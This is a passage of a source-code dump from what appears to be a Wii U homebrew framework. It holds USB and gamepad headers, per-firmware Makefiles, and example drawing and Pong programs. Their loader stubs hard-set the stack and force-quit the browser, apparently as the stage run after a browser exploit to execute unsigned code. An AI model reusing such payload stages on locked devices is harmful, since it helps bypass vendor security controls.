0x002 11 | #define MATCH_DEV_CLASS 0x010 12 | #define MATCH_DEV_SUBCLASS 0x020 13 | #define MATCH_DEV_PROTOCOL 0x040 14 | #define MATCH_IF_CLASS 0x080 15 | #define MATCH_IF_SUBCLASS 0x100 16 | #define MATCH_IF_PROTOCOL 0x200 17 | 18 | /* Endpoint transfer directions */ 19 | #define ENDPOINT_TRANSFER_OUT 1 20 | #define ENDPOINT_TRANSFER_IN 2 21 | 22 | /* Special timeout values */ 23 | #define TIMEOUT_NONE -1 24 | 25 | /* Interface filter */ 26 | typedef struct 27 | { 28 | uint16_t match_params; /* Bitmask of above flags */ 29 | uint16_t vid, pid; /* Vendor ID and product ID */ 30 | char unknown6[0xa - 0x6]; 31 | uint8_t dev_class; /* Device class */ 32 | uint8_t dev_subclass; /* Device subclass */ 33 | uint8_t dev_protocol; /* Device protocol */ 34 | uint8_t if_class; /* Interface class */ 35 | uint8_t if_subclass; /* Interface subclass */ 36 | uint8_t if_protocol; /* Interface protocol */ 37 | } __attribute__((packed)) UhsInterfaceFilter; 38 | 39 | /* Interface profile */ 40 | typedef struct 41 | { 42 | uint32_t if_handle; 43 | char unknown4[0x28 - 0x4]; 44 | UhsDeviceDescriptor dev_desc; 45 | UhsConfigDescriptor cfg_desc; 46 | UhsInterfaceDescriptor if_desc; 47 | char in_endpoints[0xdc - 0x4c]; 48 | char out_endpoints[0x16c - 0xdc]; 49 | } __attribute__((packed)) UhsInterfaceProfile; 50 | 51 | /* Open a specific controller under /dev/uhs */ 52 | int UhsOpenController(int controller_num); 53 | 54 | /* Register a USB class driver */ 55 | int UhsClassDrvReg(int uhs_handle, UhsInterfaceFilter *filter, void *context, int (*cb)(void *ctx, UhsInterfaceProfile *profile)); 56 | 57 | /* Determine which USB device interfaces are plugged in and available */ 58 | int UhsQueryInterfaces(int uhs_handle, UhsInterfaceFilter *filter, UhsInterfaceProfile *profiles, int max_profiles); 59 | 60 | /* Acquire a USB device interface for use */ 61 | int UhsAcquireInterface(int uhs_handle, uint32_t if_handle, void *unk1, int (*callback)(int arg0, int arg1, int arg2)); 62 | 63 | /* Release a currently-held USB device interface */ 64 | int UhsReleaseInterface(int uhs_handle, uint32_t if_handle, bool no_reacquire); 65 | 66 | /* Administer a USB device */ 67 | int UhsAdministerDevice(int uhs_handle, uint32_t if_handle, int arg2, int arg3); 68 | 69 | /* Submit a control request to endpoint 0 */ 70 | int UhsSubmitControlRequest(int uhs_handle, uint32_t if_handle, void *buffer, uint8_t bRequest, uint8_t bmRequestType, uint16_t wValue, uint16_t wIndex, uint16_t wLength, int timeout); 71 | 72 | /* Submit a bulk request to an endpoint */ 73 | int UhsSubmitBulkRequest(int uhs_handle, uint32_t if_handle, uint8_t endpoint, int direction, void *buffer, int length, int timeout); 74 | 75 | #endif -------------------------------------------------------------------------------- /libwiiu/src/uhs_usbspec.h: -------------------------------------------------------------------------------- 1 | #ifndef UHS_USBSPEC 2 | #define UHS_USBSPEC 3 | 4 | /* USB class codes */ 5 | #define USBCLASS_DEVICE 0x00 6 | #define USBCLASS_AUDIO 0x01 7 | #define USBCLASS_HID 0x03 8 | #define USBCLASS_STORAGE 0x08 9 | 10 | /* USB device descriptor */ 11 | typedef struct 12 | { 13 | uint8_t bLength; 14 | uint8_t bDescriptorType; 15 | uint16_t bcdUsb; 16 | uint8_t bDeviceClass; 17 | uint8_t bDeviceSubclass; 18 | uint8_t bDeviceProtocol; 19 | uint8_t bMaxPacketSize; 20 | uint16_t idVendor; 21 | uint16_t idProduct; 22 | uint16_t bcdDevice; 23 | uint8_t iManufacturer; 24 | uint8_t iProduct; 25 | uint8_t iSerialNumber; 26 | uint8_t bNumConfigurations; 27 | } __attribute__((packed)) UhsDeviceDescriptor; 28 | 29 | /* USB configuration descriptor */ 30 | typedef struct 31 | { 32 | uint8_t bLength; 33 | uint8_t bDescriptorType; 34 | uint16_t wTotalLength; 35 | uint8_t bNumInterfaces; 36 | uint8_t bConfigurationValue; 37 | uint8_t iConfiguration; 38 | uint8_t bmAttributes; 39 | uint8_t bMaxPower; 40 | } __attribute__((packed)) UhsConfigDescriptor; 41 | 42 | /* USB interface descriptor */ 43 | typedef struct 44 | { 45 | uint8_t bLength; 46 | uint8_t bDescriptorType; 47 | uint8_t bInterfaceNumber; 48 | uint8_t bAlternateSetting; 49 | uint8_t bNumEndpoints; 50 | uint8_t bInterfaceClass; 51 | uint8_t bInterfaceSubClass; 52 | uint8_t bInterfaceProtocol; 53 | uint8_t iInterface; 54 | } __attribute__((packed)) UhsInterfaceDescriptor; 55 | 56 | /* USB setup packet */ 57 | typedef struct 58 | { 59 | uint8_t bmRequestType; 60 | uint8_t bRequest; 61 | uint16_t wValue; 62 | uint16_t wIndex; 63 | uint16_t wLength; 64 | } __attribute__((packed)) UhsSetupPacket; 65 | 66 | #endif 67 | -------------------------------------------------------------------------------- /libwiiu/src/vpad.h: -------------------------------------------------------------------------------- 1 | #ifndef VPAD_H 2 | #define VPAD_H 3 | 4 | #include "types.h" 5 | 6 | #define BUTTON_A 0x8000 7 | #define BUTTON_B 0x4000 8 | #define BUTTON_X 0x2000 9 | #define BUTTON_Y 0x1000 10 | #define BUTTON_LEFT 0x0800 11 | #define BUTTON_RIGHT 0x0400 12 | #define BUTTON_UP 0x0200 13 | #define BUTTON_DOWN 0x0100 14 | #define BUTTON_ZL 0x0080 15 | #define BUTTON_ZR 0x0040 16 | #define BUTTON_L 0x0020 17 | #define BUTTON_R 0x0010 18 | #define BUTTON_PLUS 0x0008 19 | #define BUTTON_MINUS 0x0004 20 | #define BUTTON_HOME 0x0002 21 | #define BUTTON_SYNC 0x0001 22 | #define BUTTON_STICK_R 0x00020000 23 | #define BUTTON_STICK_L 0x00040000 24 | #define BUTTON_TV 0x00010000 25 | 26 | typedef struct 27 | { 28 | float x,y; 29 | } Vec2D; 30 | 31 | typedef struct 32 | { 33 | uint16_t x, y; /* Touch coordinates */ 34 | uint16_t touched; /* 1 = Touched, 0 = Not touched */ 35 | uint16_t validity; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */ 36 | } VPADTPData; 37 | 38 | typedef struct 39 | { 40 | uint32_t btn_hold; /* Held buttons */ 41 | uint32_t btn_trigger; /* Buttons that are pressed at that instant */ 42 | uint32_t btn_release; /* Released buttons */ 43 | Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */ 44 | char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */ 45 | VPADTPData tpdata; /* Normal touchscreen data */ 46 | VPADTPData tpdata1; /* Modified touchscreen data 1 */ 47 | VPADTPData tpdata2; /* Modified touchscreen data 2 */ 48 | char unknown6a[0xa0 - 0x6a]; 49 | uint8_t volume; 50 | uint8_t battery; /* 0 to 6 */ 51 | uint8_t unk_volume; /* One less than volume */ 52 | char unknowna4[0xac - 0xa4]; 53 | } VPADData; 54 | 55 | #endif /* VPAD_H */ 56 | -------------------------------------------------------------------------------- /osscreenexamples/draw/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o `find $(libs)/550/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o `find $(libs)/532/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o `find $(libs)/500/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o `find $(libs)/410/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o `find $(libs)/400/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o `find $(libs)/310/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o `find $(libs)/300/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o `find $(libs)/210/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o `find $(libs)/200/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /osscreenexamples/draw/readme: -------------------------------------------------------------------------------- 1 | Use is as follows: 2 | Default color is light blue, you can change it to (apparently a random color since it glitches) by pressing left and right on the DPAD. 3 | Plus button clears the screen. 4 | To exit, press the home button. -------------------------------------------------------------------------------- /osscreenexamples/draw/src/draw.h: -------------------------------------------------------------------------------- 1 | #ifndef DRAW_H 2 | #define DRAW_H 3 | #include "../../../libwiiu/src/coreinit.h" 4 | #include "../../../libwiiu/src/types.h" 5 | //Function declarations for my graphics library 6 | void flipBuffers(); 7 | void fillScreen(char r, char g, char b, char a); 8 | void drawString(int x, int y, char * string); 9 | void drawPixel(int x, int y, char r, char g, char b, char a); 10 | void drawLine(int x1, int y1, int x2, int y2, char r, char g, char b, char a); 11 | void drawRect(int x1, int y1, int x2, int y2, char r, char g, char b, char a); 12 | void drawFillRect(int x1, int y1, int x2, int y2, char r, char g, char b, char a); 13 | void drawCircle(int xCen, int yCen, int radius, char r, char g, char b, char a); 14 | void drawFillCircle(int xCen, int yCen, int radius, char r, char g, char b, char a); 15 | void drawCircleCircum(int cx, int cy, int x, int y, char r, char g, char b, char a); 16 | #endif /* DRAW_H */ -------------------------------------------------------------------------------- /osscreenexamples/draw/src/loader.c: -------------------------------------------------------------------------------- 1 | #include "loader.h" 2 | 3 | void _start() 4 | { 5 | /****************************> Fix Stack <****************************/ 6 | //Load a good stack 7 | asm( 8 | "lis %r1, 0x1ab5 ;" 9 | "ori %r1, %r1, 0xd138 ;" 10 | ); 11 | /****************************> Get Handles <****************************/ 12 | //Get a handle to coreinit.rpl 13 | unsigned int coreinit_handle; 14 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 15 | /****************************> External Prototypes <****************************/ 16 | //OSScreen functions 17 | void(*OSScreenInit)(); 18 | unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); 19 | unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); 20 | //OS Memory functions 21 | void*(*memset)(void * dest, uint32_t value, uint32_t bytes); 22 | void*(*OSAllocFromSystem)(uint32_t size, int align); 23 | void(*OSFreeToSystem)(void *ptr); 24 | //IM functions 25 | int(*IM_Open)(); 26 | int(*IM_Close)(int fd); 27 | int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b); 28 | /****************************> Exports <****************************/ 29 | //OSScreen functions 30 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); 31 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); 32 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); 33 | //OS Memory functions 34 | OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); 35 | OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); 36 | OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); 37 | //IM functions 38 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open); 39 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close); 40 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState); 41 | /****************************> Initial Setup <****************************/ 42 | //Restart system to get lib access 43 | int fd = IM_Open(); 44 | void *mem = OSAllocFromSystem(0x100, 64); 45 | memset(mem, 0, 0x100); 46 | //set restart flag to force quit browser 47 | IM_SetDeviceState(fd, mem, 3, 0, 0); 48 | IM_Close(fd); 49 | OSFreeToSystem(mem); 50 | //wait a bit for browser end 51 | unsigned int t1 = 0x1FFFFFFF; 52 | while(t1--) ; 53 | //Call the Screen initilzation function. 54 | OSScreenInit(); 55 | //Grab the buffer size for each screen (TV and gamepad) 56 | int buf0_size = OSScreenGetBufferSizeEx(0); 57 | int buf1_size = OSScreenGetBufferSizeEx(1); 58 | //Set the buffer area. 59 | OSScreenSetBufferEx(0, (void *)0xF4000000); 60 | OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size); 61 | //Clear both framebuffers. 62 | int ii = 0; 63 | for (ii; ii < 2; ii++) 64 | { 65 | fillScreen(0,0,0,0); 66 | flipBuffers(); 67 | } 68 | //Jump to entry point. 69 | _entryPoint(); 70 | } -------------------------------------------------------------------------------- /osscreenexamples/draw/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | #include "../../../libwiiu/src/vpad.h" 6 | #include "../../../libwiiu/src/types.h" 7 | #include "../../../libwiiu/src/draw.h" 8 | 9 | 10 | #include "program.h" 11 | 12 | void _start(); 13 | 14 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /osscreenexamples/draw/src/program.c: -------------------------------------------------------------------------------- 1 | #include "program.h" 2 | 3 | void _entryPoint() 4 | { 5 | /****************************> Get Handles <****************************/ 6 | //Get a handle to coreinit.rpl 7 | unsigned int coreinit_handle; 8 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 9 | //Get a handle to vpad.rpl */ 10 | unsigned int vpad_handle; 11 | OSDynLoad_Acquire("vpad.rpl", &vpad_handle); 12 | /****************************> External Prototypes <****************************/ 13 | //VPAD functions 14 | int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error); 15 | //OS functions 16 | void(*_Exit)(); 17 | /****************************> Exports <****************************/ 18 | //VPAD functions 19 | OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead); 20 | //OS functions 21 | OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); 22 | /****************************> Function <****************************/ 23 | int error; 24 | VPADData vpad_data; 25 | int xpos, ypos; 26 | int q = 1; 27 | int r = 128; 28 | int g = 128; 29 | int b = 255; 30 | int color = 2; 31 | 32 | /* enum colors { 33 | color_white; 34 | color_grey; 35 | color_lightblue; 36 | color_lightgreen; 37 | color_lightred; 38 | }; all available choices */ 39 | while (1) 40 | { 41 | VPADRead(0, &vpad_data, 1, &error); 42 | if (vpad_data.tpdata.touched == 1) 43 | { 44 | xpos = ((vpad_data.tpdata.x / 9) - 11); 45 | ypos = ((3930 - vpad_data.tpdata.y) / 16); 46 | 47 | drawPixel(xpos, ypos, r, g, b, 255); 48 | flipBuffers(); 49 | drawPixel(xpos, ypos, r, g, b, 255); 50 | flipBuffers(); 51 | } 52 | 53 | if (vpad_data.btn_trigger & BUTTON_LEFT) //seems to pick random one, no idea why 54 | { 55 | if (color == 0) //white 56 | { 57 | color = 4; //light red 58 | } else { 59 | color -= 1; //go down one 60 | } 61 | 62 | if (color == 0){ //white 63 | r = 255; 64 | g = 255; 65 | b = 255; 66 | } 67 | if (color == 1){ //grey 68 | r = 128; 69 | g = 128; 70 | b = 128; 71 | } 72 | if (color == 2){ //light blue 73 | r = 128; 74 | g = 128; 75 | b = 255; 76 | } 77 | if (color == 3){ //light green 78 | r = 128; 79 | g = 255; 80 | b = 128; 81 | } 82 | if (color == 4){ //light red 83 | r = 255; 84 | g = 128; 85 | b = 128; 86 | } 87 | } 88 | 89 | if (vpad_data.btn_trigger & BUTTON_RIGHT) //seems to pick random one, no idea why 90 | { 91 | if (color == 4) //light red 92 | { 93 | color = 0; //white 94 | } else { 95 | color += 1; //go up one 96 | } 97 | 98 | if (color == 0){ //white 99 | r = 255; 100 | g = 255; 101 | b = 255; 102 | } 103 | if (color == 1){ //grey 104 | r = 128; 105 | g = 128; 106 | b = 128; 107 | } 108 | if (color == 2){ //light blue 109 | r = 128; 110 | g = 128; 111 | b = 255; 112 | } 113 | if (color == 3){ //light green 114 | r = 128; 115 | g = 255; 116 | b = 128; 117 | } 118 | if (color == 4){ //light red 119 | r = 255; 120 | g = 128; 121 | b = 128; 122 | } 123 | } 124 | 125 | if (vpad_data.btn_hold & BUTTON_PLUS) 126 | { 127 | fillScreen(0, 0, 0, 255); // black 128 | flipBuffers(); 129 | fillScreen(0, 0, 0, 255); // second buffer 130 | flipBuffers(); 131 | } 132 | 133 | if (vpad_data.btn_trigger & BUTTON_HOME) 134 | { 135 | break; //pls exit 136 | } 137 | } 138 | //WARNING: DO NOT CHANGE THIS. YOU MUST CLEAR THE FRAMEBUFFERS AND IMMEDIATELY CALL EXIT FROM THIS FUNCTION. RETURNING TO LOADER CAUSES FREEZE. 139 | int ii=0; 140 | for(ii;ii<2;ii++) 141 | { 142 | fillScreen(0,0,0,0); 143 | flipBuffers(); 144 | } 145 | _Exit(); 146 | } -------------------------------------------------------------------------------- /osscreenexamples/draw/src/program.h: -------------------------------------------------------------------------------- 1 | #ifndef PROGRAM_H 2 | #define PROGRAM_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | #include "../../../libwiiu/src/vpad.h" 6 | #include "../../../libwiiu/src/types.h" 7 | //Using modified version of draw to render at twice the scale to improve framerate 8 | #include "draw.h" 9 | 10 | void _entryPoint(); 11 | 12 | #endif /* PROGRAM_H */ -------------------------------------------------------------------------------- /osscreenexamples/ios/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o $(libs)/550/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /osscreenexamples/ios/src/loader.c: -------------------------------------------------------------------------------- 1 | #include "loader.h" 2 | 3 | void _start() 4 | { 5 | /****************************> Fix Stack <****************************/ 6 | //Load a good stack 7 | asm( 8 | "lis %r1, 0x1ab5 ;" 9 | "ori %r1, %r1, 0xd138 ;" 10 | ); 11 | /****************************> Get Handles <****************************/ 12 | //Get a handle to coreinit.rpl 13 | unsigned int coreinit_handle; 14 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 15 | /****************************> External Prototypes <****************************/ 16 | //OSScreen functions 17 | void(*OSScreenInit)(); 18 | unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); 19 | unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); 20 | //OS Memory functions 21 | void*(*memset)(void * dest, uint32_t value, uint32_t bytes); 22 | void*(*OSAllocFromSystem)(uint32_t size, int align); 23 | void(*OSFreeToSystem)(void *ptr); 24 | //IM functions 25 | int(*IM_Open)(); 26 | int(*IM_Close)(int fd); 27 | int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b); 28 | /****************************> Exports <****************************/ 29 | //OSScreen functions 30 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); 31 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); 32 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); 33 | //OS Memory functions 34 | OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); 35 | OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); 36 | OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); 37 | //IM functions 38 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open); 39 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close); 40 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState); 41 | /****************************> Initial Setup <****************************/ 42 | //Restart system to get lib access 43 | int fd = IM_Open(); 44 | void *mem = OSAllocFromSystem(0x100, 64); 45 | memset(mem, 0, 0x100); 46 | //set restart flag to force quit browser 47 | IM_SetDeviceState(fd, mem, 3, 0, 0); 48 | IM_Close(fd); 49 | OSFreeToSystem(mem); 50 | //wait a bit for browser end 51 | unsigned int t1 = 0x1FFFFFFF; 52 | while(t1--) ; 53 | //Call the Screen initilzation function. 54 | OSScreenInit(); 55 | //Grab the buffer size for each screen (TV and gamepad) 56 | int buf0_size = OSScreenGetBufferSizeEx(0); 57 | int buf1_size = OSScreenGetBufferSizeEx(1); 58 | //Set the buffer area. 59 | OSScreenSetBufferEx(0, (void *)0xF4000000); 60 | OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size); 61 | //Clear both framebuffers. 62 | int ii = 0; 63 | for (ii; ii < 2; ii++) 64 | { 65 | fillScreen(0,0,0,0); 66 | flipBuffers(); 67 | } 68 | //Jump to entry point. 69 | _entryPoint(); 70 | } -------------------------------------------------------------------------------- /osscreenexamples/ios/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | #include "../../../libwiiu/src/vpad.h" 6 | #include "../../../libwiiu/src/types.h" 7 | #include "../../../libwiiu/src/draw.h" 8 | 9 | 10 | #include "program.h" 11 | 12 | void _start(); 13 | 14 | void _entryPoint(); 15 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /osscreenexamples/ios/src/program.h: -------------------------------------------------------------------------------- 1 | #ifndef PROGRAM_H 2 | #define PROGRAM_H 3 | #include "../../../libwiiu/src/coreinit.h" 4 | #include "../../../libwiiu/src/vpad.h" 5 | #include "../../../libwiiu/src/types.h" 6 | #include "../../../libwiiu/src/draw.h" 7 | 8 | struct renderFlags{ 9 | int y; 10 | int x; 11 | int a; 12 | int b; 13 | char output[1000]; 14 | }; 15 | 16 | 17 | 18 | void _entryPoint(); 19 | void render(struct renderFlags *flags); 20 | 21 | #endif /* PROGRAM_H */ -------------------------------------------------------------------------------- /osscreenexamples/pong/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o `find $(libs)/550/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o `find $(libs)/532/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o `find $(libs)/500/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name 